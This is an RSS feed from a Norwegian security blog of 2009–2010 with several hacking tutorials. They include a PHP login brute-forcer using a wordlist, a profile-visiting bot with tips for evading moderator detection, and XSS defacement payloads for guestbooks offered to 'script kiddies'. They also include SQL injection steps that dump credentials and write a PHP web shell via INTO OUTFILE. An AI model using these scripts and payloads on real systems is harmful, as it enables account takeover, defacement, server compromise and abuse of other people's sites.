<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Skogtrollet</title>
	<atom:link href="http://skogtrollet.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://skogtrollet.com</link>
	<description>Informasjonssikkerhet i den elektroniske verden</description>
	<lastBuildDate>Sun, 17 Jan 2010 14:58:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hvordan hacke en login?</title>
		<link>http://skogtrollet.com/2010/01/17/hvordan-hacke-en-login/</link>
		<comments>http://skogtrollet.com/2010/01/17/hvordan-hacke-en-login/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 02:38:09 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Passord]]></category>
		<category><![CDATA[Programmering]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=996</guid>
		<description><![CDATA[Det fins en rekke metoder som hackere bruker for å knekke en web applikasjon. Ofte fins det feil i php koden til et nettsted, som gjør det mulig å hente ut passord/brukernavn. Andre ganger fins det feil i selve http serveren. Apache som er en av de mest brukte web serverne, hadde mange feil i tidligere versjoner.]]></description>
			<content:encoded><![CDATA[<p>
<p>Det fins en rekke metoder som hackere bruker for å knekke en web applikasjon. Ofte fins det feil i php koden til et nettsted, som gjør det mulig å hente ut passord/brukernavn. Andre ganger fins det feil i selve http serveren. Apache som er en av de mest brukte web serverne, hadde mange feil i tidligere versjoner.</p>
<p>Men den metoden som er aller mest utbredt, er bruteforcing. Det vil si at man prøver å gjette seg fram til riktig passord. Dette tar forferdelig lang tid å gjøre manuelt, men et dataprogram kan gjøre dette kjappt.</p>
<p>Fremgangsmåten for å hacke et passord er følgende:</p>
<p>1. Få tak i et gyldig brukernavn( f.eks. admin)<br />
2. Gjett et passord<br />
3. Sjekk om passordet var riktig, hvis ikke riktig, gå til 2.<br />
4. Passord funnet eller hele ordlisten er ferdig gjennomløpt.</p>
<p><strong>Tidsforsinkelser</strong><br />
Å prøve ett passord kan ta relativt lang tid. La oss si det tar 1 sekund å sjekke et passord. Da kan du sjekke 3600 passord på en time. Jeg vet ikke hvor mange ord det er i norsk, men oppimot 100 000 forskjellige ord?</p>
<p>Da vil de ta 27,7 timer å sjekke alle ordene i ordboken. Ikke bare lager dette et helvetes bråk i loggfilene, men det er ikke sikkert passordet fins i en ordbok.</p>
<p>Mange bruker nemlig passord som hestefot666, museknappvenstre og andeball osv. Hvis passordet inneholder tall, eller store og små bokstaver, blir det helt umulig(mange uker) å bruteforce et passord på lengre enn 3 tegn.</p>
<p>Så bruteforcing av passord på web applikasjoner funker egentlig bare når vedkommende har brukt et ord som fins i ordboken.</p>
<p><strong>Hvordan gjøres det?</strong><br />
I de fleste programmeringsspråk kan man skrive kode som logger inn på et nettsted. Deretter kan koden sjekke respons html koden, om innloggingen var vellykket.</p>
<p>Her er et eksempel på et php script som bruteforcer en login:</p>
<pre class="brush: php;">&lt;?php

/* Bruteforcer login. Må ha ordliste. */

$user = &quot;admin&quot;;
$file = &quot;wordlist.txt&quot;;

function crack($user, $pass)
{
	$url = &quot;http://localhost/pentest/phplogin.php&quot;;
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url );
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,&quot;user=$user&amp;pass=$pass&quot;);

	$data = curl_exec($ch);

	if(!eregi(&quot;failure&quot;, $data))
	{
		echo &quot;\n\n MATCH $pass \n\n&quot;;
	}
	else
	{
		echo &quot;#&quot;;
	}
}

$words = file($file);

$i = 0;
while($words[$i])
{
	crack($user, trim($words[$i]));
	$i++;
}
?&gt;</pre>
<p><strong>LES OGSÅ:</strong> <a href="http://skogtrollet.com/2009/11/26/hvordan-hacke-en-gjestebok/">Hvordan hacke en gjestebok</a></p>
<p>Her har jeg laget et php login script, der riktig brukernavn er &#8220;admin&#8221;, og riktig passord er &#8220;login&#8221;. Dersom riktig kombinasjon er skrevet inn, printes &#8220;success&#8221; ut. Så når scriptet får en html response som inneholder &#8220;success&#8221; vet den at passordet var riktig. Og &#8220;failure&#8221; dersom det var feil.</p>
<p>Her er sjekken:</p>
<pre class="brush: php;">if(!eregi(&quot;failure&quot;, $data))
{
	echo &quot;\n\n MATCH $pass \n\n&quot;;
}</pre>
<p>Og passordet printes ut.</p>
<p>Det som står inni her:</p>
<pre class="brush: php;">
curl_setopt($ch, CURLOPT_POSTFIELDS,&quot;user=$user&amp;pass=$pass&quot;);
</pre>
<p>Må matche POST variablene. Så hvis html formen ser slik ut:</p>
<pre class="brush: xml;">&lt;input type=&quot;text&quot; name=&quot;usr&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;pw&quot;&gt;</pre>
<p>Så må koden se slik ut:
<pre class="brush: php;">curl_setopt($ch, CURLOPT_POSTFIELDS,&quot;usr=$user&amp;pw=$pass&quot;);</pre>
<p><strong>Router passord knekking?</strong><br />
Jeg prøvde å bruteforce passordet på routeren min. Dette gikk overraskende kjappt. Programmet klarte å sjekke 30 passord i sekundet.</p>
<p>Så hvis du har mistet passordet til routeren og ikke har lyst til å restarte den, prøv å bruteforce passordet.</p>
<p>Til neste innlegg skal jeg lage en video der jeg viser hvordan jeg brutforca meg fram til passordet. Har du problemer med å legge inn php, eller å få koden til å kjøre? Sjekk ut ofte stilte spørsmål i denne teksten: <a href="http://skogtrollet.com/2010/01/07/studweb-karakter-varsler/">Studweb karaktervarsler</a></p>
<p><a href="http://www.vg.no/nyheter/innenriks/artikkel.php?artid=578748">vg</a></p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=996" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2010/01/17/hvordan-hacke-en-login/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Studweb karakter varsler NTNU</title>
		<link>http://skogtrollet.com/2010/01/07/studweb-karakter-varsler/</link>
		<comments>http://skogtrollet.com/2010/01/07/studweb-karakter-varsler/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 13:43:53 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmering]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=970</guid>
		<description><![CDATA[Er du lei av å logge inn på studweb hver dag og sjekke etter nye karakterer? La heller et program gjøre jobben for deg. Dette php scriptet logger inn og sjekker etter nye karakterer hvert 30. minutt, og varsler deg på sms når du har fått en ny karakter]]></description>
			<content:encoded><![CDATA[<p>
<p>Er du lei av å logge inn på studentweb hver dag og sjekke etter nye karakterer? La heller et program gjøre jobben for deg. Dette php scriptet logger inn og sjekker etter nye karakterer hvert 30. minutt, og varsler deg på sms når du har fått en ny karakter.</p>
<p>Den sms&#8217;en du får er generert av inpoc.no, og kommer til å si at din kode for innlogging er &#8220;xxxx&#8221;, men glem det, poenget er at du blir varslet per sms.</p>
<p>For å kunne kjøre koden må php være installert. Last f.eks. ned <a href="http://www.wampserver.com/en/">wamp</a>. Bla deg fram til mappen der filen med kode ligger, og skriv &#8220;php studweb.php&#8221;.</p>
<p><img style="margin-right:100%" src="http://skogtrollet.com/images/studweb.jpg" alt="studweb karakter varsler" /><br />
<strong>Ofte stillte spørsmål</strong><br />
1. <em>Jeg får opp php gjenkjennes ikke som en intern eller ekstern kommando,<br />
kjørbart program eller satsvis fil.&#8221; når jeg prøver å kjøre koden.&#8221;<br />
</em><br />
SVAR: Php må være installert, i tillegg må du sette en PATH. D.v.s. at cmd kan nå php.exe fra hvorsom helst i cmd. Høyreklikk min datamaskin -> Avanserte systeminnstillinger -> Miljøvariabler -> Ny -> Variabelnavn skal være &#8220;Path&#8221; og variabelverdi skal være plassering av php.exe. Til meg er den &#8220;C:\wamp\bin\php\php5.3.0&#8243;.</p>
<p>2.<em> Når jeg kjører koden får jeg &#8220;PHP Fatal error:  Call to undefined function curl_init().</em> SVAR: Åpne php.ini som ligger i samme mappe som php.exe. Søk deg fram til linjen som inneholder &#8220;extension=php_curl.dll&#8221;. Fjern det semikolonet som er forran.</p>
<p>Last ned koden fra <a href="http://skogtrollet.com/diverse/studweb.txt">.txt</a> eller kopier herfra:</p>
<pre class="brush: php; light: true;">
&lt;?php

## Logger innpå studweb og sjekker for nye karakterer.
## Det brukes her personnummer og pin.

// Config
$nr = &quot;xx&quot;; // personnummer
$pin = &quot;xxxx&quot;;
$cell = &quot;xx&quot;; // tlf nummer
$fag = array(&quot;exph0001&quot;, &quot;ma1103&quot;); // fagkoder. Kun småebokstaver!

$cookie = &quot;c.txt&quot;;

function login()
{
	global $cookie;

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;https://studentweb.ntnu.no/cgi-bin/WebObjects/studentweb2?inst=NTNU&quot;);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);

	$data = curl_exec($ch);
	curl_close($ch);

	// Finner token som trengs til innlogging

	preg_match_all(&quot;/(\d){8}/&quot;, $data, $match);
	$token = $match[0][0];

	$fp = fopen(&quot;a.html&quot;, &quot;w&quot;);
	fwrite($fp, $data);
	fclose($fp);

	login2($token);
}

function login2($token)
{
	global $cookie;
	global $nr;
	global $pin;

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;https://studentweb.ntnu.no/cgi-bin/WebObjects/studentweb2.woa/wa/login&quot;);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);

	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, &quot;fodselsnr={$nr}&amp;pinkode={$pin}&amp;transnr={$token}&amp;login=Logg%20inn&amp;javascript=0&amp;inst=NTNU&quot;);

	$data = curl_exec($ch);
	curl_close($ch);

	// Finner url som trengs til å klikke på _Innsyn_

	preg_match_all(&quot;/ater m\.m\.\&quot; href=\&quot;(.+?)\&quot;/&quot;, $data, $match);
	$url = $match[1][0];

	$fp = fopen(&quot;b.html&quot;, &quot;w&quot;);
	fwrite($fp, $data);
	fclose($fp);

	login3($url);
}

function login3($url)
{
	global $cookie;

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;https://studentweb.ntnu.no&quot; . $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);

	$data = curl_exec($ch);
	curl_close($ch);

	// Finner token som trengs til å klikke på _Resultater_

	preg_match_all(&quot;/Se dine resultater\&quot; href=\&quot;(.+?)\&quot;/&quot;, $data, $match);
	$url = $match[1][0];

	$fp = fopen(&quot;c.html&quot;, &quot;w&quot;);
	fwrite($fp, $data);
	fclose($fp);

	login4($url);
}

function login4($url)
{
	global $cookie;
	global $fag;

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;https://studentweb.ntnu.no&quot; . $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);

	$data = strtolower(curl_exec($ch));
	curl_close($ch);

	// looper igjennom og ser etter fagkodene

	$i = 0;
	while($fag[$i])
	{
		if( strpos($data, $fag[$i]) )
		{
			echo &quot;\nVarsler.. $fag[$i] \n&quot;;

			unset($fag[$i]); // fjerner faget fra array
			varsle();
		}
		else
		{
			echo &quot;#&quot;;
		}

		$i++;
	}

	$fp = fopen(&quot;d.html&quot;, &quot;w&quot;);
	fwrite($fp, $data);
	fclose($fp);

}

function varsle()
{
	global $cell;

	// sender en sms til mobil

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, 'http://folk.inpoc.no/registrer/');
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,&quot;cellnumber={$cell}&amp;x=36&amp;y=5&amp;_aspiro_service=Login&amp;_aspiro_service_method=registerSystemUser&amp;_aspiro_service_onsuccess=step2.ftl&amp;_aspiro_service_onsuccess_forward_parameter=cellnumber&quot;);
	$data = curl_exec($ch);

	curl_close($ch);
}

while(1)
{
	login();

	sleep(1800); // 30 mins
}

?&gt;
</pre>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=970" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2010/01/07/studweb-karakter-varsler/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Skikkelig bra nettspill: The company of myself</title>
		<link>http://skogtrollet.com/2009/12/13/skikkelig-bra-nettspill-the-company-of-myself/</link>
		<comments>http://skogtrollet.com/2009/12/13/skikkelig-bra-nettspill-the-company-of-myself/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 09:24:14 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Dataspill]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=947</guid>
		<description><![CDATA[Jeg spiler ikke nettspill ofte. Men av og til. Og The company of myself var et spill som virkelig var bra bygd opp.
Den måten spillet forteller historien, samtidig som du spiller, er fantastisk. Ble nesten litt på gråten&#8230;.
Prøv det selv:

 ]]></description>
			<content:encoded><![CDATA[<p>Jeg spiler ikke nettspill ofte. Men av og til. Og The company of myself var et spill som virkelig var bra bygd opp.</p>
<p>Den måten spillet forteller historien, samtidig som du spiller, er fantastisk. Ble nesten litt på gråten&#8230;.</p>
<p>Prøv det selv:</p>
<p><object id="FlashGame"  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="600" height="400"><param name="movie" value="http://fizzlebot.com/swf/company-of-myself.swf" /><param name="quality" value="high" /><embed src="http://fizzlebot.com/swf/company-of-myself.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="600" height="400" id="FlashGame" ></embed></object></p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=947" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2009/12/13/skikkelig-bra-nettspill-the-company-of-myself/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Slik lager du en nettby crawler</title>
		<link>http://skogtrollet.com/2009/12/01/slik-lager-du-en-nettby-crawler/</link>
		<comments>http://skogtrollet.com/2009/12/01/slik-lager-du-en-nettby-crawler/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 05:16:28 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmering]]></category>
		<category><![CDATA[Random fun]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=924</guid>
		<description><![CDATA[Nettbycrawler, besøksscript eller nettbybot er alle begrep som handler om å automatisere en oppgave. Nærmere bestemt det å besøke mange tusen profiler i løpet av minutter. Det du oppnår ved dette er flere venner, flere brev og mer "status".]]></description>
			<content:encoded><![CDATA[<p><em>Metoden som beskrives her vil antakeligvis få deg utestengt fra nettby. Så om du er nettbykontoen din kjær, ikke kjør koden her.</em></p>
<p>
<p>Det er 1. desember, og årets 2. julegave til alle scriptkiddie der ute er nå kommet.</p>
<p>Nettbycrawler, besøksscript eller nettbybot er alle begrep som handler om å automatisere en oppgave. Nærmere bestemt det å besøke mange tusen profiler i løpet av minutter. Det du oppnår ved dette er flere venner, flere brev og mer &#8220;status&#8221;.</p>
<p>På nettby er alle profiler nummerert med et nummer slik:
<p>&nbsp;</p>
<pre class="brush: php; collapse: true; light: false; toolbar: true;">http://www.nettby.no/user/index.php?user_id=1

http://www.nettby.no/user/index.php?user_id=2

http://www.nettby.no/user/index.php?user_id=3</pre>
</pre>
<p>Dermed blir det en enkel sak å besøke mange profiler, man bare øker tallet bakerst. Følgende er en php kode som må kjøres med php. Via en http server(apache) eller via kommandolinjen.</p>
<pre class="brush: php; light: true;">

&lt;?php

$u = &quot;brukernavn&quot;;
$p = &quot;passord&quot;;

$cookie = &quot;kaker.txt&quot;;

function login($u, $p)
{
	global $cookie;

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;http://www.nettby.no/sb_login.php&quot; );
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS,&quot;email={$u}&amp;password={$p}&amp;submit=Logg inn&quot;);
	$data = curl_exec($ch);
}

function visit($i)
{
	global $cookie;

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;http://www.nettby.no/user/index.php?user_id={$i}&quot; );
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
	$data = curl_exec($ch);

	echo &quot;Besøkte profil \n&quot;;
}

login($u, $p); // Logger inn

$i = 1;  // Starter på profil nummer 1

while($i &lt; 100000) // Hundretusen profiler
{
	visit($i);
	$i++;
}

?&gt;
</pre>
<p>Kopier koden og lim inn i en notepad, lagre den som "nettby.php".</p>
<p>For å kjøre koden må selvfølgelig brukernavn og passord endres. Og php må være installert på din pc. For å laste ned php <a href="http://www.wampserver.com/dl.php">klikk her</a>. Der følger det også med en http server, men det har ikke noe å si.</p>
<p>Når du har installert wamp, ligger php på pc'n din. Åpne et dos shell ved å trykk "windows-knappen" + R. Skriv deretter "cmd".</p>
<p>Deretter blar du deg inn til der php.exe ligger. Du blar i mapper ved å bruke "cd mappeNavn". Og skriver "php nettby.php".</p>
<p><img style="margin-right:100%;margin-bottom:10px" src="http://skogtrollet.com/images/dos_nettby.jpg" alt="nettbycrawler" /></p>
<p><strong>UPDATE:</strong>Åpne php.ini som ligger i php5.3.0 mappen, søk deg fram til linjen som inneholder "extension=php_curl.dll", fjern semikolonet forran, lagre.</p>
<p>For å unngå at du blir utestengt må du chillen med antall besøk. Jeg tror det er maks 15 profilbesøk per minutt som får deg merket med et rødt flagg, og du blir sjekka opp av moderatorene. Så prøv å sett inn en sleep(6) slik:</p>
<pre class="brush: php; light: true;">while($i &lt; 100000) // Hundretusen profiler
{
	visit($i);
	$i++;

	sleep(6); //   &lt;--- sover i 6 sekunder
}</pre>
</pre>
<p>Her vil det besøkes 6 profiler i minuttet. 8600 profiler på 24 timer. Noe som synes å være menneskelig  </p>
<p>/joke</p>
<p>Jeg tenker dette vil være snacks for mange der ute. Denne koden kan også brukes på andre nettsteder naturligvis. Det er bare å bytte ut noen variabler.</p>
<p>Noen som trenger et besøksscript for et annet nettsted? Skriv kommentar.</p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=924" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2009/12/01/slik-lager-du-en-nettby-crawler/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Hvordan hacke en gjestebok</title>
		<link>http://skogtrollet.com/2009/11/26/hvordan-hacke-en-gjestebok/</link>
		<comments>http://skogtrollet.com/2009/11/26/hvordan-hacke-en-gjestebok/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 22:42:57 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmering]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[sikkerhet]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=837</guid>
		<description><![CDATA[Her er julens første julegave til alle scriptkiddies der ute. Nå skal du få vite hvordan du "hacker" en gjestebok. Det er nemlig ikke så vanskelig.

Denne metoden er også kjent som "defacing", d.v.s. at man fjerner hele siden, og putter inn sin egen kode. For å hacke en gjestebok trenger du kun å skrive inn javascript/html/css i feltene der du skriver inn navn, kommentar osv.]]></description>
			<content:encoded><![CDATA[<p>
<p>Her er julens første julegave til alle scriptkiddies der ute. Nå skal du få vite hvordan du &#8220;hacker&#8221; en gjestebok. Det er nemlig ikke så vanskelig.</p>
<p>Denne metoden er også kjent som &#8220;defacing&#8221;, d.v.s. at man fjerner hele siden, og putter inn sin egen kode. For å hacke en gjestebok trenger du kun å skrive inn javascript/html/css i feltene der du skriver inn navn, kommentar osv.</p>
<p><strong>Dersom</strong> det ikke er noen filtrering eller sjekk for uønskede tegn i gjestebok scriptet, er det mulig å hacke gjesteboken.</p>
<p>For å se om det er mulig å hacke en gjestebok, skriv inn dette i alle feltene:</p>
<pre class="brush: php; light: true;">&lt;script&gt;alert(8)&lt;/script&gt;</pre>
<p>Dersom det popper opp en javascript alert boks, så er gjesteboken sårbar. For å gjøre en mer subtil sjekk, prøv dette:</p>
<pre class="brush: php; light: true;"> &lt;b&gt;sexy&lt;/b&gt; </pre>
</pre>
<p>Dersom du ser ordet "sexy" er bold, d.v.s. slik: <strong>sexy</strong>, så er gjesteboken sårbar.</p>
<p>Jeg har laget en egen gjestebok slik at du kan teste det ut selv.<br />
<a href="http://skogtrollet.com/diverse/xss_gjestebok/index.php">Gå til gjesteboken her</a></p>
<p><strong>Hvordan erstatte hele siden med en tekst</strong><br />
For at det skal se ut som om gjesteboken er hacket, kan css kode skrives inn. Eksempel nedenfor:</p>
<pre class="brush: php; light: true;">&lt;style&gt;#elem{z-index: 1;position: absolute;top: 0;left: 0;width:100%;height:100%;
background-color: black;color: red;}&lt;/style&gt;&lt;div id=elem&gt;&lt;p align=center&gt;
&lt;b&gt;hacked!!.&lt;br&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;</pre>
</pre>
<p>Skriv inn koden i <a href="http://skogtrollet.com/diverse/xss_gjestebok/index.php">gjesteboka</a>, og se hva som skjer.</p>
<p>Dette var årets første julegave til alle kidsa der ute. Vil du ha flere julegaver?</p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=837" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2009/11/26/hvordan-hacke-en-gjestebok/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Mysql sql injection: INTO OUTFILE</title>
		<link>http://skogtrollet.com/2009/10/29/mysql-sql-injection-into-outfile/</link>
		<comments>http://skogtrollet.com/2009/10/29/mysql-sql-injection-into-outfile/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 05:22:26 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sql injection]]></category>
		<category><![CDATA[sikkerhet]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=821</guid>
		<description><![CDATA[Denne teksten vil være om en nyttig mysql funksjon for hackere. Vi skal se på FILE privilegiumet, og hvordan dette kan brukes til å hacke nettsider.

Ikke bruk informasjonen i teksten til å angripe nettsteder du ikke eier. Bruk det på dine egne, eller last ned f.eks. WAMP og prøv ut dette lokalt på din egen pc.]]></description>
			<content:encoded><![CDATA[<p>
<p>Denne teksten vil være om en nyttig mysql funksjon for hackere. Vi skal se på FILE privilegiumet, og hvordan dette kan brukes til å hacke nettsider.</p>
<p>Ikke bruk informasjonen i teksten til å angripe nettsteder du ikke eier. Bruk det på dine egne, eller last ned f.eks. WAMP og prøv ut dette lokalt på din egen pc.</p>
<p>into outfile er en mysql funksjon som lar deg skrive filer på serveren. Eks:</p>
<pre>
<pre class="brush: php; light: true;">SELECT * FROM members INTO OUTFILE 'test.txt'</pre>
</pre>
<p>Når denne koden kjøres blir det opprettet en fil &#8220;test.txt&#8221;, og resultatet av spørringen legges inn i denne.</p>
<p>For å kunne bruke out file må gjeldende bruker ha FILE privilegiumet. For å finne ut det, gjør følgende:</p>
<p><strong>1. Først finn ut hva brukernavnet er</strong></p>
<pre>
<pre class="brush: php; light: true;">' UNION ALL SELECT USER()-- </pre>
</pre>
<p>Dette vil gi oss username@server, vi er kun interessert i username. La oss si brukernavn var &#8220;root&#8221;.</p>
<p>For å se om root har FILE privilegiumet kan du aksessere information_schema.user_privileges. information_schema er en database som ofte brukeren har tilgang til. Og i denne har vi en tabell &#8220;user_privileges&#8221; som inneholder alle privilegier til alle brukere. Denne information_schema databasen ble introdusert i mysql 5.</p>
<p>La oss se om brukeren root har FILE privilegiumet:</p>
<pre>
<pre class="brush: php; light: true;">' UNION ALL SELECT privilege_type FROM information_schema.user_privileges WHERE
grantee LIKE '%root%'-- </pre>
</pre>
<p>Dersom resultatet er FILE, har brukeren root FILE privilegiumet. Eller ihvertfall alle brukere som har &#8220;root&#8221; i brukernavnet. ( vi satser på at faktisk er brukeren &#8220;root&#8221;).</p>
<p>Hvis du finner ut at brukeren ikke har FILE privilegiumet, kan du ikke bruke into outfile.</p>
<p><strong>2. Mappe/path problemet</strong><br />
Om du ikke spesifiserer hvor du vil legge filen, vil denne legge seg i database mappen. På min pc vil filene derfor legge seg her: &#8220;C:\wamp\bin\mysql\mysql5.0.51b\data\test_database\&#8221;.</p>
<p>Så hvis jeg injiserer denne spørringen:</p>
<pre>
<pre class="brush: php; light: true;">SELECT navn FROM medlemmer INTO OUTFILE 'test.txt'-- </pre>
</pre>
<p>Vil denne filen bli opprettet: &#8220;C:\wamp\bin\mysql\mysql5.0.51b\data\test_database\test.txt&#8221;. Og ha innholdet fra spørringen i seg.</p>
<p>Å finne riktig sti/path kan ofte gjøres bare ved å injekte en enkel apostrof slik:</p>
<pre>
<pre class="brush: php; light: true;">http://localhost/index.php?id=' </pre>
</pre>
<p>Så vil man få en feilmelding: <em>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\wamp\www\index.php on line 12</em></p>
<p>Og der har man stien til www området. C:\wamp\www. Vet man denne kan man pakke data i en fil med into outfile, for så å lese innholdet ved å browse nettleseren til den riktige stien.</p>
<p>På mysql 5 kan du finne stien slik:</p>
<pre>
<pre class="brush: php; light: true;">' UNION ALL SELECT @@datadir-- </pre>
</pre>
<p>Den defaulte mappen der filer blir lagret er datadir\databasename. Du kan finne ut databasenavn slik:</p>
<pre>
<pre class="brush: php; light: true;">' UNION ALL SELECT database()-- </pre>
</pre>
<p>Så når du har funnet ut riktig sti/path kan du skrive til www området slik:</p>
<pre>
<pre class="brush: php; light: true;">' UNION ALL SELECT brukernavn, passord FROM medlemmer INTO OUTFILE 'C:/wamp/www/dbdump.txt'-- </pre>
</pre>
<p>Legg merke til at bakoverslashene må snus andre veien. Har ikke peiling på hvorfor. Deretter er det bare å surfe til http://localhost/dbdump.txt for å se på innholdet.</p>
<p>Det som er farlig med dette, er ikke at man kan hent ut passord og hva som helst, fordi dette kan man gjøre med vanlig sql injection. Det som er skummelt er at man kan skrive filer til serveren med hvilket innhold man vil.</p>
<p>Ta f.eks. </p>
<pre>
<pre class="brush: php; light: true;">' UNION ALL SELECT '&amp;lt;?php system($_GET['cmd']; ?&amp;gt;' into outfile 'C:/wamp/www/shell.php'-- </pre>
</pre>
<p>Dette fører til at vedkommende kan kjøre php koder på serveren din.<br />
</p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=821" width="1" height="1" style="display: none;" />]]></content:encoded>
